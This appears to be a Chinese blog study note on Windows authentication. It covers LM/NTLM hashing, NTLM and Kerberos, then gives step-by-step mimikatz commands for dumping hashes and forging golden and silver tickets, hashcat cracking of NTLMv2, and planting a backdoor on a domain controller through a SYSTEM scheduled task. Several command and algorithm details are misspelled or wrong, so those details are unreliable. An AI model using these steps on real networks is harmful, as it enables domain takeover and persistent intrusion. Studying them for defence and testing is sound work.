windows认证

本地环境用户信息存储在%systemroot%/system32/SAM

域环境用户信息存储在ntds.dit

本地认证

windows系统下哈希结构:username:RID:LM-HASH:NT-HASH

LM哈希

算法:

转大写,转二进制,补0补足14字节

二分获得两段字串,每一段都做以下处理:

每7位插入一个0

最终获得16字节的字串,转为十六进制

最终获得两个16字节的十六进制字符串

KGS!@#$%转十六进制作为明文,使用第一个字串作为密钥加密,获得密文

再用以上密文作为明文,使用第二个字串作为密钥加密,获得密文,此密文即为lm hash

NTLM哈希

 算法:转十六进制,转unicode格式,md4加密获得32位十六进制字串即为NTLM hash

网络认证

基于挑战响应认证的NTLM协议

协商、质询、验证

协商:a发送username给b

质询:

若b有username这名用户,随机生成名称为challenge的字符串与username的ntlm哈希加密得到结果challenge1,存储在本地

b将challenge字符串发送给a,a将challenge与password计算得来的ntlm哈希加密,作为response发送给b

验证:若a发送的response与b本地保存的challenge1结果相同,则验证成功。

NTLMv2

网络认证使用NTLMv2

格式 username::domain:challange:HMAC-MD5:blob

HMAC-MD5 -> NTPproofStr

blob ->  response字符串去掉NTProofStr

对应值在流量包中查看

hashcat -m 5600 解密的NTLMv2的值 字典 --force 实现暴力破解密码,5600指代NTLMv2类型

powertshell 管理员使用inveigh抓取网络认证过程中的NTLMv2

Kerberos

KDC包含AS、TGS

client向AS发起明文请求(内容包括client的name、ip、时间戳)

AS接收请求,通过AS的验证,向client发放TGT(内容有client的name和ip、ServerIP,TGS Name、时间戳、CT_SK,整体被TGS密码加密)、client可以知道的内容(时间戳、TGS Name、时间戳、CT_SK,整体被client密码加密)

client将TGT和client必要信息(client的name、ip、时间戳,整体被CT_SK加密)交付给TGS

TGS使用TGS密码解密TGT,获得CT_SK,从而使用CT_SK查看client的信息,将TGT与client信息做验证

验证成功后,TGS发放ST(client的name和ip、serverip、时间戳、ST有效时间、CS_SK,整体被server密码加密)、client可以知道的内容(时间戳、ST有效时间、CS_SK,整体被CT_SK加密)给client

client将ST、client必要信息(name、ip、时间戳、ST有效时间,整体被CS_SK加密)交付给server,

server使用ST里的CS_SK解密client必要信息,将ST与client必要信息进行验证

验证成功则实现client、server互相信任

黄金票据

TGT由krbtgt的ntlm hash加密

获取krbtgt的ntlm hash,伪造TGT,越过AS验证

维权

前提条件

1.有dc的域名、域sid、krbtgt的ntlm哈希,且krbtgt密码未更改

net config workstation 获取域名

nltest /dclist:域名 获取域控名称

whoami /user 获取用户sid,最后一段数字去掉就是域sid

lsadump::dcsync /domain:test.com /user:krbtgt 获取krbtgt的ntlm哈希

2.有域内其他机器权限

操作

mimikatsz kerberos::purge 清理原有票据

mimikatsz kerberos::tgt 查票

1.mimikatz lsadump::dcsync /dc:域控 /domain:域名 /user:krbtgt 获取krbtgt的ntlm哈希

2.在域内其他机器上制作黄金票据(dc的域名、域sid、krbtgt的ntlm哈希)

3.将后门文件copy到域控

shell copy 后门程序在被控机器的位置 \\域控域名\文件位置

4.设置计划任务

shell schtasks /create /s dc域名 /tn 计划任务名字 /sc onstart /tr 执行文件位置 /ru system /f

5.执行计划任务

shell schtasks /run /s dc域名 /i /tn 计划任务名字 

白银票据

获取服务的ntlm哈希,伪造ST

mimikatsz kerberos::purge 清理原有票据

shell klist purge 清理原有票据

mimikatz sekurlsa::logonpasswords 获取服务账号的ntlm哈希

mimikatz kerberos::golden /domain:域名  /sid:域sid /target 域控 /service:要伪造的服务 /rc4:要伪造的服务的ntlm哈希 /user:伪造的用户名 /ptt

ldap 可以使用mimikatz lsadump::dcsync /dc:域控 /domain:域名 /user:krbtgt 获取krbtgt的ntlm哈希 然后获取黄金票据

cifs 使用dir查看或拷贝文件

host 可以设置、执行计划任务

mimikatz kerberos::golden /domain:dc.study.com /sid:S-1-5-21-3882865070-3794351248-2220759032 /target:dc.study.com /service:HOST /rc4:88f5b1e63d401d17cc81720a39fd66e5 /user:opop /ptt

利用链条

域名、sid、krbtgt的ntlm hash → lsadump::dcsync制作黄金票据 → schtasks计划任务持久化

域名、sid、服务账号的ntlm hash → sekulsa::golden制作白银票据

→ 获取ldap服务票据,获得lsadump权限制作黄金票据 → 持久化

或者→获取host服务票据,获得schtasks权限,计划任务持久化

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值